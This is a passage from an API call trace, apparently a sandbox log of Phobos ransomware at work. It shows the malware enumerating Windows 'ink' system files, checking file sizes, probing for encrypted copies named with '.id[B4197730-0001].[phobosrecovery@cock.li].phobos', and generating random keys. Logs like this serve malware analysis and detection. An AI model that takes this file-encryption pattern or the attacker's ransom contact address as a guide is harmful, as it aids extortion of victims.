lpFileSize=0x2d1fa10*=23040) returned 1 [0169.294] CloseHandle (hObject=0x2d8) returned 1 [0169.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0169.294] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.294] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.295] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=2560) returned 1 [0169.295] CloseHandle (hObject=0x2d8) returned 1 [0169.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0169.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.295] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.295] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=9216) returned 1 [0169.295] CloseHandle (hObject=0x2d8) returned 1 [0169.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0169.309] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.310] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.310] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.310] CloseHandle (hObject=0x2d8) returned 1 [0169.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0169.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.310] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.311] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=3072) returned 1 [0169.311] CloseHandle (hObject=0x2d8) returned 1 [0169.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0169.311] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.317] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.317] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.317] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=3072) returned 1 [0169.318] CloseHandle (hObject=0x2d8) returned 1 [0169.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0169.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.318] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.318] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=44032) returned 1 [0169.318] CloseHandle (hObject=0x2d8) returned 1 [0169.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0169.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.319] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.319] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.319] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=5120) returned 1 [0169.319] CloseHandle (hObject=0x2d8) returned 1 [0169.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0169.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.320] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.320] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=2560) returned 1 [0169.320] CloseHandle (hObject=0x2d8) returned 1 [0169.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui")) returned 0x20 [0169.320] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.320] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabtip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.321] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.321] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=25088) returned 1 [0169.321] CloseHandle (hObject=0x2d8) returned 1 [0169.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0169.321] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.321] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.322] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.322] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=9728) returned 1 [0169.322] CloseHandle (hObject=0x2d8) returned 1 [0169.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0169.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.322] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.324] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.324] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.325] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=3584) returned 1 [0169.325] CloseHandle (hObject=0x2d8) returned 1 [0169.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0169.325] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.325] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.325] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.326] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.326] CloseHandle (hObject=0x2d8) returned 1 [0169.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0169.326] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.326] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.326] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.327] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.327] CloseHandle (hObject=0x2d8) returned 1 [0169.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui")) returned 0x20 [0169.327] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-mx\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.327] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.327] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.328] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10752) returned 1 [0169.328] CloseHandle (hObject=0x2d8) returned 1 [0169.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0169.328] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.328] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.328] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.329] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=10240) returned 1 [0169.329] CloseHandle (hObject=0x2d8) returned 1 [0169.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0169.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0169.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0169.329] CryptGenRandom (in: hProv=0x1a67b8, dwLen=0x10, pbBuffer=0x2d1fa70 | out: pbBuffer=0x2d1fa70) returned 1 [0169.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0169.330] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d1fa10 | out: lpFileSize=0x2d1fa10*=804864) returned 1 [0169.330] CloseHandle (hObject=0x2d8) returned 1 [0169.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0169.330] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 